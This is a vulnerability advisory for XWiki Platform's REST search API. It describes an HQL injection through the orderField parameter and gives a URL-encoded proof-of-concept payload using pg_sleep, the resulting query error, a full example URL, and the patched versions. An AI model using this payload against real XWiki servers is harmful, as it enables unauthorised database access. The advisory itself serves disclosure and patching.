XWiki Platform is vulnerable to HQL injection via wiki and space search REST API

Impact

The REST search URL is vulnerable to HQL injection via the orderField parameter. The specified value is added twice in the query, though, once in the field list for the select and once in the order clause, so it's not that easy to exploit. The part of the query between the two fields can be enclosed in single quotes to effectively remove them, but the query still needs to remain valid with the query two times in it.

For example, with the following orderField parameter:

doc.fullName%20from%20XWikiDocument%20as%20doc%20where%20%24%24%3D'%24%24%3Dconcat(chr(61)%2Cchr(39))%20and%20version()%7C%7Cpg_sleep(1)%3Dversion()%7C%7Cpg_sleep(1)%20and%20(1%3D1%20or%20%3F%3D%3F%20or%20%3F%3D%3F%20or%20%3F%3D%3F%20or%20%3F%3D%3F%20or%20%3F%3D%3F)%20--%20comment'%20or%20a%3D'%20order%20by%20doc.fullName

See the following error:

QuerySyntaxException: unexpected token: $$ near line 1, column 518 [select distinct doc.fullName, doc.space, doc.name, doc.language, doc.doc.fullName from com.xpn.xwiki.doc.XWikiDocument as doc where (doc.hidden <> true or doc.hidden is null) and ($$='$$=concat(chr(61),chr(39)) and version()||pg_sleep(1)=version()||pg_sleep(1) and (1=1 or ?=? or ?=? or ?=? or ?=? or ?=?) -- comment' or a=') order by doc.fullName from com.xpn.xwiki.doc.XWikiDocument as doc  where ( (upper(doc.title) like :keywords) ) order by doc.doc.fullName from com.xpn.xwiki.doc.XWikiDocument as doc where $$='$$=concat(chr(61),chr(39)) and version()||pg_sleep(1)=version()||pg_sleep(1) and (1=1 or ?=? or ?=? or ?=? or ?=? or ?=?) -- comment' or a=' order by doc.fullName asc]

For reference, the full URL for the above error is:

http://localhost:8080/xwiki/rest/wikis/xwiki/search?q=test&scope=title&orderField=doc.fullName%20from%20XWikiDocument%20as%20doc%20where%20%24%24%3D%27%24%24%3Dconcat(chr(61)%2Cchr(39))%20and%20version()%7C%7Cpg_sleep(1)%3Dversion()%7C%7Cpg_sleep(1)%20and%20(1%3D1%20or%20%3F%3D%3F%20or%20%3F%3D%3F%20or%20%3F%3D%3F%20or%20%3F%3D%3F%20or%20%3F%3D%3F)%20--%20comment%27%20or%20a%3D%27%20order%20by%20doc.fullName

Patches

This has been patched in 17.5.0, 17.4.2, 16.10.9.

Workarounds

There is no known workaround, other than upgrading XWiki.

Resources

• https://jira.xwiki.org/browse/XWIKI-23247
• https://github.com/xwiki/xwiki-platform/commit/743ebf8696ffa55161ed2c5ecf26b09f69e6bcf1
• https://github.com/xwiki/xwiki-platform/commit/a45eca2af772abb7324e56d7fd2df1ac937bc445